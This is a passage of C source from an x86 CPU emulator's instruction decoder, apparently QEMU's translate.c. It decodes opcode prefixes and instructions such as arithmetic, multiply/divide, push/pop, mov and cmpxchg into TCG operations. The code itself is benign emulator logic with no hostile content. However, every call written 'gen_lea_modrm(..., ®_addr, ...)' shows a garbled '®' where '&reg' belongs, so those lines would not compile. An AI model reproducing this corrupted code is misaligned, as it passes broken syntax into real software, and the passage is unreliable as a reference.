case 0x26:
s->override = R_ES;
goto next_byte;
case 0x64:
s->override = R_FS;
goto next_byte;
case 0x65:
s->override = R_GS;
goto next_byte;
case 0x66:
prefixes |= PREFIX_DATA;
goto next_byte;
case 0x67:
prefixes |= PREFIX_ADR;
goto next_byte;
}
if (prefixes & PREFIX_DATA)
dflag ^= 1;
if (prefixes & PREFIX_ADR)
aflag ^= 1;
}
s->prefix = prefixes;
s->aflag = aflag;
s->dflag = dflag;
/* lock generation */
if (prefixes & PREFIX_LOCK)
gen_helper_lock();
/* now check op code */
reswitch:
switch(b) {
case 0x0f:
/**************************/
/* extended op code */
b = ldub_code(s->pc++) | 0x100;
goto reswitch;
/**************************/
/* arith & logic */
case 0x00 ... 0x05:
case 0x08 ... 0x0d:
case 0x10 ... 0x15:
case 0x18 ... 0x1d:
case 0x20 ... 0x25:
case 0x28 ... 0x2d:
case 0x30 ... 0x35:
case 0x38 ... 0x3d:
{
int op, f, val;
op = (b >> 3) & 7;
f = (b >> 1) & 3;
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
switch(f) {
case 0: /* OP Ev, Gv */
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
opreg = OR_TMP0;
} else if (op == OP_XORL && rm == reg) {
xor_zero:
/* xor reg, reg optimisation */
gen_op_movl_T0_0();
s->cc_op = CC_OP_LOGICB + ot;
gen_op_mov_reg_T0(ot, reg);
gen_op_update1_cc();
break;
} else {
opreg = rm;
}
gen_op_mov_TN_reg(ot, 1, reg);
gen_op(s, op, ot, opreg);
break;
case 1: /* OP Gv, Ev */
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
reg = ((modrm >> 3) & 7) | rex_r;
rm = (modrm & 7) | REX_B(s);
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T1_A0(ot + s->mem_index);
} else if (op == OP_XORL && rm == reg) {
goto xor_zero;
} else {
gen_op_mov_TN_reg(ot, 1, rm);
}
gen_op(s, op, ot, reg);
break;
case 2: /* OP A, Iv */
val = insn_get(s, ot);
gen_op_movl_T1_im(val);
gen_op(s, op, ot, OR_EAX);
break;
}
}
break;
case 0x82:
if (CODE64(s))
goto illegal_op;
case 0x80: /* GRP1 */
case 0x81:
case 0x83:
{
int val;
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
op = (modrm >> 3) & 7;
if (mod != 3) {
if (b == 0x83)
s->rip_offset = 1;
else
s->rip_offset = insn_const_size(ot);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
opreg = OR_TMP0;
} else {
opreg = rm;
}
switch(b) {
default:
case 0x80:
case 0x81:
case 0x82:
val = insn_get(s, ot);
break;
case 0x83:
val = (int8_t)insn_get(s, OT_BYTE);
break;
}
gen_op_movl_T1_im(val);
gen_op(s, op, ot, opreg);
}
break;
/**************************/
/* inc, dec, and other misc arith */
case 0x40 ... 0x47: /* inc Gv */
ot = dflag ? OT_LONG : OT_WORD;
gen_inc(s, ot, OR_EAX + (b & 7), 1);
break;
case 0x48 ... 0x4f: /* dec Gv */
ot = dflag ? OT_LONG : OT_WORD;
gen_inc(s, ot, OR_EAX + (b & 7), -1);
break;
case 0xf6: /* GRP3 */
case 0xf7:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
op = (modrm >> 3) & 7;
if (mod != 3) {
if (op == 0)
s->rip_offset = insn_const_size(ot);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_ld_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_TN_reg(ot, 0, rm);
}
switch(op) {
case 0: /* test */
val = insn_get(s, ot);
gen_op_movl_T1_im(val);
gen_op_testl_T0_T1_cc();
s->cc_op = CC_OP_LOGICB + ot;
break;
case 2: /* not */
tcg_gen_not_tl(cpu_T[0], cpu_T[0]);
if (mod != 3) {
gen_op_st_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_reg_T0(ot, rm);
}
break;
case 3: /* neg */
tcg_gen_neg_tl(cpu_T[0], cpu_T[0]);
if (mod != 3) {
gen_op_st_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_reg_T0(ot, rm);
}
gen_op_update_neg_cc();
s->cc_op = CC_OP_SUBB + ot;
break;
case 4: /* mul */
switch(ot) {
case OT_BYTE:
gen_op_mov_TN_reg(OT_BYTE, 1, R_EAX);
tcg_gen_ext8u_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext8u_tl(cpu_T[1], cpu_T[1]);
/* XXX: use 32 bit mul which could be faster */
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_andi_tl(cpu_cc_src, cpu_T[0], 0xff00);
s->cc_op = CC_OP_MULB;
break;
case OT_WORD:
gen_op_mov_TN_reg(OT_WORD, 1, R_EAX);
tcg_gen_ext16u_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext16u_tl(cpu_T[1], cpu_T[1]);
/* XXX: use 32 bit mul which could be faster */
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 16);
gen_op_mov_reg_T0(OT_WORD, R_EDX);
tcg_gen_mov_tl(cpu_cc_src, cpu_T[0]);
s->cc_op = CC_OP_MULW;
break;
default:
case OT_LONG:
#ifdef TARGET_X86_64
gen_op_mov_TN_reg(OT_LONG, 1, R_EAX);
tcg_gen_ext32u_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext32u_tl(cpu_T[1], cpu_T[1]);
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_LONG, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 32);
gen_op_mov_reg_T0(OT_LONG, R_EDX);
tcg_gen_mov_tl(cpu_cc_src, cpu_T[0]);
#else
{
TCGv_i64 t0, t1;
t0 = tcg_temp_new_i64();
t1 = tcg_temp_new_i64();
gen_op_mov_TN_reg(OT_LONG, 1, R_EAX);
tcg_gen_extu_i32_i64(t0, cpu_T[0]);
tcg_gen_extu_i32_i64(t1, cpu_T[1]);
tcg_gen_mul_i64(t0, t0, t1);
tcg_gen_trunc_i64_i32(cpu_T[0], t0);
gen_op_mov_reg_T0(OT_LONG, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_shri_i64(t0, t0, 32);
tcg_gen_trunc_i64_i32(cpu_T[0], t0);
gen_op_mov_reg_T0(OT_LONG, R_EDX);
tcg_gen_mov_tl(cpu_cc_src, cpu_T[0]);
}
#endif
s->cc_op = CC_OP_MULL;
break;
#ifdef TARGET_X86_64
case OT_QUAD:
gen_helper_mulq_EAX_T0(cpu_T[0]);
s->cc_op = CC_OP_MULQ;
break;
#endif
}
break;
case 5: /* imul */
switch(ot) {
case OT_BYTE:
gen_op_mov_TN_reg(OT_BYTE, 1, R_EAX);
tcg_gen_ext8s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext8s_tl(cpu_T[1], cpu_T[1]);
/* XXX: use 32 bit mul which could be faster */
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_ext8s_tl(cpu_tmp0, cpu_T[0]);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
s->cc_op = CC_OP_MULB;
break;
case OT_WORD:
gen_op_mov_TN_reg(OT_WORD, 1, R_EAX);
tcg_gen_ext16s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext16s_tl(cpu_T[1], cpu_T[1]);
/* XXX: use 32 bit mul which could be faster */
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_ext16s_tl(cpu_tmp0, cpu_T[0]);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 16);
gen_op_mov_reg_T0(OT_WORD, R_EDX);
s->cc_op = CC_OP_MULW;
break;
default:
case OT_LONG:
#ifdef TARGET_X86_64
gen_op_mov_TN_reg(OT_LONG, 1, R_EAX);
tcg_gen_ext32s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext32s_tl(cpu_T[1], cpu_T[1]);
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
gen_op_mov_reg_T0(OT_LONG, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_ext32s_tl(cpu_tmp0, cpu_T[0]);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 32);
gen_op_mov_reg_T0(OT_LONG, R_EDX);
#else
{
TCGv_i64 t0, t1;
t0 = tcg_temp_new_i64();
t1 = tcg_temp_new_i64();
gen_op_mov_TN_reg(OT_LONG, 1, R_EAX);
tcg_gen_ext_i32_i64(t0, cpu_T[0]);
tcg_gen_ext_i32_i64(t1, cpu_T[1]);
tcg_gen_mul_i64(t0, t0, t1);
tcg_gen_trunc_i64_i32(cpu_T[0], t0);
gen_op_mov_reg_T0(OT_LONG, R_EAX);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_sari_tl(cpu_tmp0, cpu_T[0], 31);
tcg_gen_shri_i64(t0, t0, 32);
tcg_gen_trunc_i64_i32(cpu_T[0], t0);
gen_op_mov_reg_T0(OT_LONG, R_EDX);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
}
#endif
s->cc_op = CC_OP_MULL;
break;
#ifdef TARGET_X86_64
case OT_QUAD:
gen_helper_imulq_EAX_T0(cpu_T[0]);
s->cc_op = CC_OP_MULQ;
break;
#endif
}
break;
case 6: /* div */
switch(ot) {
case OT_BYTE:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_divb_AL(cpu_T[0]);
break;
case OT_WORD:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_divw_AX(cpu_T[0]);
break;
default:
case OT_LONG:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_divl_EAX(cpu_T[0]);
break;
#ifdef TARGET_X86_64
case OT_QUAD:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_divq_EAX(cpu_T[0]);
break;
#endif
}
break;
case 7: /* idiv */
switch(ot) {
case OT_BYTE:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_idivb_AL(cpu_T[0]);
break;
case OT_WORD:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_idivw_AX(cpu_T[0]);
break;
default:
case OT_LONG:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_idivl_EAX(cpu_T[0]);
break;
#ifdef TARGET_X86_64
case OT_QUAD:
gen_jmp_im(pc_start - s->cs_base);
gen_helper_idivq_EAX(cpu_T[0]);
break;
#endif
}
break;
default:
goto illegal_op;
}
break;
case 0xfe: /* GRP4 */
case 0xff: /* GRP5 */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
op = (modrm >> 3) & 7;
if (op >= 2 && b == 0xfe) {
goto illegal_op;
}
if (CODE64(s)) {
if (op == 2 || op == 4) {
/* operand size for jumps is 64 bit */
ot = OT_QUAD;
} else if (op == 3 || op == 5) {
ot = dflag ? OT_LONG + (rex_w == 1) : OT_WORD;
} else if (op == 6) {
/* default push size is 64 bit */
ot = dflag ? OT_QUAD : OT_WORD;
}
}
if (mod != 3) {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
if (op >= 2 && op != 3 && op != 5)
gen_op_ld_T0_A0(ot + s->mem_index);
} else {
gen_op_mov_TN_reg(ot, 0, rm);
}
switch(op) {
case 0: /* inc Ev */
if (mod != 3)
opreg = OR_TMP0;
else
opreg = rm;
gen_inc(s, ot, opreg, 1);
break;
case 1: /* dec Ev */
if (mod != 3)
opreg = OR_TMP0;
else
opreg = rm;
gen_inc(s, ot, opreg, -1);
break;
case 2: /* call Ev */
/* XXX: optimize if memory (no 'and' is necessary) */
if (s->dflag == 0)
gen_op_andl_T0_ffff();
next_eip = s->pc - s->cs_base;
gen_movtl_T1_im(next_eip);
gen_push_T1(s);
gen_op_jmp_T0();
gen_eob(s);
break;
case 3: /* lcall Ev */
gen_op_ld_T1_A0(ot + s->mem_index);
gen_add_A0_im(s, 1 << (ot - OT_WORD + 1));
gen_op_ldu_T0_A0(OT_WORD + s->mem_index);
do_lcall:
if (s->pe && !s->vm86) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_lcall_protected(cpu_tmp2_i32, cpu_T[1],
tcg_const_i32(dflag),
tcg_const_i32(s->pc - pc_start));
} else {
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_lcall_real(cpu_tmp2_i32, cpu_T[1],
tcg_const_i32(dflag),
tcg_const_i32(s->pc - s->cs_base));
}
gen_eob(s);
break;
case 4: /* jmp Ev */
if (s->dflag == 0)
gen_op_andl_T0_ffff();
gen_op_jmp_T0();
gen_eob(s);
break;
case 5: /* ljmp Ev */
gen_op_ld_T1_A0(ot + s->mem_index);
gen_add_A0_im(s, 1 << (ot - OT_WORD + 1));
gen_op_ldu_T0_A0(OT_WORD + s->mem_index);
do_ljmp:
if (s->pe && !s->vm86) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(pc_start - s->cs_base);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_ljmp_protected(cpu_tmp2_i32, cpu_T[1],
tcg_const_i32(s->pc - pc_start));
} else {
gen_op_movl_seg_T0_vm(R_CS);
gen_op_movl_T0_T1();
gen_op_jmp_T0();
}
gen_eob(s);
break;
case 6: /* push Ev */
gen_push_T0(s);
break;
default:
goto illegal_op;
}
break;
case 0x84: /* test Ev, Gv */
case 0x85:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
gen_op_mov_TN_reg(ot, 1, reg);
gen_op_testl_T0_T1_cc();
s->cc_op = CC_OP_LOGICB + ot;
break;
case 0xa8: /* test eAX, Iv */
case 0xa9:
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
val = insn_get(s, ot);
gen_op_mov_TN_reg(ot, 0, OR_EAX);
gen_op_movl_T1_im(val);
gen_op_testl_T0_T1_cc();
s->cc_op = CC_OP_LOGICB + ot;
break;
case 0x98: /* CWDE/CBW */
#ifdef TARGET_X86_64
if (dflag == 2) {
gen_op_mov_TN_reg(OT_LONG, 0, R_EAX);
tcg_gen_ext32s_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_QUAD, R_EAX);
} else
#endif
if (dflag == 1) {
gen_op_mov_TN_reg(OT_WORD, 0, R_EAX);
tcg_gen_ext16s_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_LONG, R_EAX);
} else {
gen_op_mov_TN_reg(OT_BYTE, 0, R_EAX);
tcg_gen_ext8s_tl(cpu_T[0], cpu_T[0]);
gen_op_mov_reg_T0(OT_WORD, R_EAX);
}
break;
case 0x99: /* CDQ/CWD */
#ifdef TARGET_X86_64
if (dflag == 2) {
gen_op_mov_TN_reg(OT_QUAD, 0, R_EAX);
tcg_gen_sari_tl(cpu_T[0], cpu_T[0], 63);
gen_op_mov_reg_T0(OT_QUAD, R_EDX);
} else
#endif
if (dflag == 1) {
gen_op_mov_TN_reg(OT_LONG, 0, R_EAX);
tcg_gen_ext32s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_sari_tl(cpu_T[0], cpu_T[0], 31);
gen_op_mov_reg_T0(OT_LONG, R_EDX);
} else {
gen_op_mov_TN_reg(OT_WORD, 0, R_EAX);
tcg_gen_ext16s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_sari_tl(cpu_T[0], cpu_T[0], 15);
gen_op_mov_reg_T0(OT_WORD, R_EDX);
}
break;
case 0x1af: /* imul Gv, Ev */
case 0x69: /* imul Gv, Ev, I */
case 0x6b:
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
if (b == 0x69)
s->rip_offset = insn_const_size(ot);
else if (b == 0x6b)
s->rip_offset = 1;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
if (b == 0x69) {
val = insn_get(s, ot);
gen_op_movl_T1_im(val);
} else if (b == 0x6b) {
val = (int8_t)insn_get(s, OT_BYTE);
gen_op_movl_T1_im(val);
} else {
gen_op_mov_TN_reg(ot, 1, reg);
}
#ifdef TARGET_X86_64
if (ot == OT_QUAD) {
gen_helper_imulq_T0_T1(cpu_T[0], cpu_T[0], cpu_T[1]);
} else
#endif
if (ot == OT_LONG) {
#ifdef TARGET_X86_64
tcg_gen_ext32s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext32s_tl(cpu_T[1], cpu_T[1]);
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_ext32s_tl(cpu_tmp0, cpu_T[0]);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
#else
{
TCGv_i64 t0, t1;
t0 = tcg_temp_new_i64();
t1 = tcg_temp_new_i64();
tcg_gen_ext_i32_i64(t0, cpu_T[0]);
tcg_gen_ext_i32_i64(t1, cpu_T[1]);
tcg_gen_mul_i64(t0, t0, t1);
tcg_gen_trunc_i64_i32(cpu_T[0], t0);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_sari_tl(cpu_tmp0, cpu_T[0], 31);
tcg_gen_shri_i64(t0, t0, 32);
tcg_gen_trunc_i64_i32(cpu_T[1], t0);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[1], cpu_tmp0);
}
#endif
} else {
tcg_gen_ext16s_tl(cpu_T[0], cpu_T[0]);
tcg_gen_ext16s_tl(cpu_T[1], cpu_T[1]);
/* XXX: use 32 bit mul which could be faster */
tcg_gen_mul_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_ext16s_tl(cpu_tmp0, cpu_T[0]);
tcg_gen_sub_tl(cpu_cc_src, cpu_T[0], cpu_tmp0);
}
gen_op_mov_reg_T0(ot, reg);
s->cc_op = CC_OP_MULB + ot;
break;
case 0x1c0:
case 0x1c1: /* xadd Ev, Gv */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
if (mod == 3) {
rm = (modrm & 7) | REX_B(s);
gen_op_mov_TN_reg(ot, 0, reg);
gen_op_mov_TN_reg(ot, 1, rm);
gen_op_addl_T0_T1();
gen_op_mov_reg_T1(ot, reg);
gen_op_mov_reg_T0(ot, rm);
} else {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_op_mov_TN_reg(ot, 0, reg);
gen_op_ld_T1_A0(ot + s->mem_index);
gen_op_addl_T0_T1();
gen_op_st_T0_A0(ot + s->mem_index);
gen_op_mov_reg_T1(ot, reg);
}
gen_op_update2_cc();
s->cc_op = CC_OP_ADDB + ot;
break;
case 0x1b0:
case 0x1b1: /* cmpxchg Ev, Gv */
{
int label1, label2;
TCGv t0, t1, t2, a0;
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
t0 = tcg_temp_local_new();
t1 = tcg_temp_local_new();
t2 = tcg_temp_local_new();
a0 = tcg_temp_local_new();
gen_op_mov_v_reg(ot, t1, reg);
if (mod == 3) {
rm = (modrm & 7) | REX_B(s);
gen_op_mov_v_reg(ot, t0, rm);
} else {
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
tcg_gen_mov_tl(a0, cpu_A0);
gen_op_ld_v(ot + s->mem_index, t0, a0);
rm = 0; /* avoid warning */
}
label1 = gen_new_label();
tcg_gen_sub_tl(t2, cpu_regs[R_EAX], t0);
gen_extu(ot, t2);
tcg_gen_brcondi_tl(TCG_COND_EQ, t2, 0, label1);
if (mod == 3) {
label2 = gen_new_label();
gen_op_mov_reg_v(ot, R_EAX, t0);
tcg_gen_br(label2);
gen_set_label(label1);
gen_op_mov_reg_v(ot, rm, t1);
gen_set_label(label2);
} else {
tcg_gen_mov_tl(t1, t0);
gen_op_mov_reg_v(ot, R_EAX, t0);
gen_set_label(label1);
/* always store */
gen_op_st_v(ot + s->mem_index, t1, a0);
}
tcg_gen_mov_tl(cpu_cc_src, t0);
tcg_gen_mov_tl(cpu_cc_dst, t2);
s->cc_op = CC_OP_SUBB + ot;
tcg_temp_free(t0);
tcg_temp_free(t1);
tcg_temp_free(t2);
tcg_temp_free(a0);
}
break;
case 0x1c7: /* cmpxchg8b */
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
if ((mod == 3) || ((modrm & 0x38) != 0x8))
goto illegal_op;
#ifdef TARGET_X86_64
if (dflag == 2) {
if (!(s->cpuid_ext_features & CPUID_EXT_CX16))
goto illegal_op;
gen_jmp_im(pc_start - s->cs_base);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_helper_cmpxchg16b(cpu_A0);
} else
#endif
{
if (!(s->cpuid_features & CPUID_CX8))
goto illegal_op;
gen_jmp_im(pc_start - s->cs_base);
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
gen_helper_cmpxchg8b(cpu_A0);
}
s->cc_op = CC_OP_EFLAGS;
break;
/**************************/
/* push/pop */
case 0x50 ... 0x57: /* push */
gen_op_mov_TN_reg(OT_LONG, 0, (b & 7) | REX_B(s));
gen_push_T0(s);
break;
case 0x58 ... 0x5f: /* pop */
if (CODE64(s)) {
ot = dflag ? OT_QUAD : OT_WORD;
} else {
ot = dflag + OT_WORD;
}
gen_pop_T0(s);
/* NOTE: order is important for pop %sp */
gen_pop_update(s);
gen_op_mov_reg_T0(ot, (b & 7) | REX_B(s));
break;
case 0x60: /* pusha */
if (CODE64(s))
goto illegal_op;
gen_pusha(s);
break;
case 0x61: /* popa */
if (CODE64(s))
goto illegal_op;
gen_popa(s);
break;
case 0x68: /* push Iv */
case 0x6a:
if (CODE64(s)) {
ot = dflag ? OT_QUAD : OT_WORD;
} else {
ot = dflag + OT_WORD;
}
if (b == 0x68)
val = insn_get(s, ot);
else
val = (int8_t)insn_get(s, OT_BYTE);
gen_op_movl_T0_im(val);
gen_push_T0(s);
break;
case 0x8f: /* pop Ev */
if (CODE64(s)) {
ot = dflag ? OT_QUAD : OT_WORD;
} else {
ot = dflag + OT_WORD;
}
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
gen_pop_T0(s);
if (mod == 3) {
/* NOTE: order is important for pop %sp */
gen_pop_update(s);
rm = (modrm & 7) | REX_B(s);
gen_op_mov_reg_T0(ot, rm);
} else {
/* NOTE: order is important too for MMU exceptions */
s->popl_esp_hack = 1 << ot;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 1);
s->popl_esp_hack = 0;
gen_pop_update(s);
}
break;
case 0xc8: /* enter */
{
int level;
val = lduw_code(s->pc);
s->pc += 2;
level = ldub_code(s->pc++);
gen_enter(s, val, level);
}
break;
case 0xc9: /* leave */
/* XXX: exception not precise (ESP is updated before potential exception) */
if (CODE64(s)) {
gen_op_mov_TN_reg(OT_QUAD, 0, R_EBP);
gen_op_mov_reg_T0(OT_QUAD, R_ESP);
} else if (s->ss32) {
gen_op_mov_TN_reg(OT_LONG, 0, R_EBP);
gen_op_mov_reg_T0(OT_LONG, R_ESP);
} else {
gen_op_mov_TN_reg(OT_WORD, 0, R_EBP);
gen_op_mov_reg_T0(OT_WORD, R_ESP);
}
gen_pop_T0(s);
if (CODE64(s)) {
ot = dflag ? OT_QUAD : OT_WORD;
} else {
ot = dflag + OT_WORD;
}
gen_op_mov_reg_T0(ot, R_EBP);
gen_pop_update(s);
break;
case 0x06: /* push es */
case 0x0e: /* push cs */
case 0x16: /* push ss */
case 0x1e: /* push ds */
if (CODE64(s))
goto illegal_op;
gen_op_movl_T0_seg(b >> 3);
gen_push_T0(s);
break;
case 0x1a0: /* push fs */
case 0x1a8: /* push gs */
gen_op_movl_T0_seg((b >> 3) & 7);
gen_push_T0(s);
break;
case 0x07: /* pop es */
case 0x17: /* pop ss */
case 0x1f: /* pop ds */
if (CODE64(s))
goto illegal_op;
reg = b >> 3;
gen_pop_T0(s);
gen_movl_seg_T0(s, reg, pc_start - s->cs_base);
gen_pop_update(s);
if (reg == R_SS) {
/* if reg == SS, inhibit interrupts/trace. */
/* If several instructions disable interrupts, only the
_first_ does it */
if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK))
gen_helper_set_inhibit_irq();
s->tf = 0;
}
if (s->is_jmp) {
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
case 0x1a1: /* pop fs */
case 0x1a9: /* pop gs */
gen_pop_T0(s);
gen_movl_seg_T0(s, (b >> 3) & 7, pc_start - s->cs_base);
gen_pop_update(s);
if (s->is_jmp) {
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
/**************************/
/* mov */
case 0x88:
case 0x89: /* mov Gv, Ev */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
/* generate a generic store */
gen_ldst_modrm(s, modrm, ot, reg, 1);
break;
case 0xc6:
case 0xc7: /* mov Ev, Iv */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = dflag + OT_WORD;
modrm = ldub_code(s->pc++);
mod = (modrm >> 6) & 3;
if (mod != 3) {
s->rip_offset = insn_const_size(ot);
gen_lea_modrm(s, modrm, ®_addr, &offset_addr);
}
val = insn_get(s, ot);
gen_op_movl_T0_im(val);
if (mod != 3)
gen_op_st_T0_A0(ot + s->mem_index);
else
gen_op_mov_reg_T0(ot, (modrm & 7) | REX_B(s));
break;
case 0x8a:
case 0x8b: /* mov Ev, Gv */
if ((b & 1) == 0)
ot = OT_BYTE;
else
ot = OT_WORD + dflag;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 0);
gen_op_mov_reg_T0(ot, reg);
break;
case 0x8e: /* mov seg, Gv */
modrm = ldub_code(s->pc++);
reg = (modrm >> 3) & 7;
if (reg >= 6 || reg == R_CS)
goto illegal_op;
gen_ldst_modrm(s, modrm, OT_WORD, OR_TMP0, 0);
gen_movl_seg_T0(s, reg, pc_start - s->cs_base);
if (reg == R_SS) {
/* if reg == SS, inhibit interrupts/trace */
/* If several instructions disable interrupts, only the
_first_ does it */
if (!(s->tb->flags & HF_INHIBIT_IRQ_MASK))
gen_helper_set_inhibit_irq();
s->tf = 0;
}
if (s->is_jmp) {
gen_jmp_im(s->pc - s->cs_base);
gen_eob(s);
}
break;
case 0x8c: /* mov Gv, seg */
modrm = ldub_code(s->pc++);
reg = (modrm >> 3) & 7;
mod = (modrm >> 6) & 3;
if (reg >= 6)
goto illegal_op;
gen_op_movl_T0_seg(reg);
if (mod == 3)
ot = OT_WORD + dflag;
else
ot = OT_WORD;
gen_ldst_modrm(s, modrm, ot, OR_TMP0, 1);
break;
case 0x1b6: /* movzbS Gv, Eb */
case 0x1b7: /* movzwS Gv, Eb */
case 0x1be: /* movsbS Gv, Eb */
case 0x1bf: /* movswS Gv, Eb */
{
int d_ot;
/* d_ot is the size of destination */
d_ot = dflag + OT_WORD;
/* ot is the size of source */
ot = (b & 1) + OT_BYTE;
modrm = ldub_code(s->pc++);
reg = ((modrm >> 3) & 7) | rex_r;
mod = (modrm >> 6) & 3;
rm = (modrm & 7) | REX_B(s);
if (mod == 3) {
gen_op_mov_TN_reg(ot, 0, rm);
switch(ot | (b & 8)) {
case OT_BYTE:
tcg_gen_ext8u_tl(cpu_T[0], cpu_T[0]);
break;
case OT_BYTE | 8:
